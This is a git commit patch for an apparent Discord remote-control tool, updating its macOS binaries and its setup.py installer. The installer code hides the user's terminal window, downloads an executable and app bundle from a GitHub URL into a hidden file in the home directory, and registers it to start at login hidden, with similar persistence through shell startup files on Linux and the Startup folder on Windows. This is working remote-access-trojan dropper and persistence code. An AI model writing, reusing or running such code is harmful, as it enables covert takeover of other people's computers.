From a2cc7dd104b1bb52cdf1ba956ff5d5909253f89c Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 28 Aug 2023 00:12:09 +0800 Subject: updated mac dist --- dist/main-mac | Bin 7449440 -> 7449440 bytes dist/main.app.zip | Bin 7374718 -> 7374717 bytes dist/main.app/Contents/MacOS/main | Bin 7449440 -> 7449440 bytes dist/setup-mac | Bin 7446912 -> 7447152 bytes dist/setup.app.zip | Bin 7371828 -> 7372135 bytes dist/setup.app/Contents/MacOS/setup | Bin 7446912 -> 7447152 bytes setup.py | 8 +++++++- 7 files changed, 7 insertions(+), 1 deletion(-) diff --git a/dist/main-mac b/dist/main-mac index 4ab480f..edab5a0 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index 5a4b7dc..08b99cb 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index 18d0325..40285ca 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup-mac b/dist/setup-mac index 9430a45..ad16379 100755 Binary files a/dist/setup-mac and b/dist/setup-mac differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index ba5a458..d176388 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index 0673fdf..a24f6b7 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/setup.py b/setup.py index 73a100e..0c32a16 100644 --- a/setup.py +++ b/setup.py @@ -13,6 +13,8 @@ localfile = f"{expanduser('~')}/.{filename}" try: remove(localfile) + remove(f"{localfile}.app") + remove(f"{localfile}.tmp.zip") except FileNotFoundError: pass @@ -20,7 +22,10 @@ except FileNotFoundError: if platform == "darwin": system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) - system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null") + open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content) + system(f"unzip {localfile}.tmp.zip") + system(f"mv {localfile}.tmp/dist/* {localfile}.app && rm -rf {localfile}.tmp*") + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null") elif platform == "linux": from os import environ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) @@ -29,6 +34,7 @@ elif platform == "linux": elif 'bash' in environ['SHELL']: system(f"echo {localfile} >> {expanduser('~')}/.bashenv") elif platform == "win32": + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) from shutil import copy copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp") -- cgit v1.2.3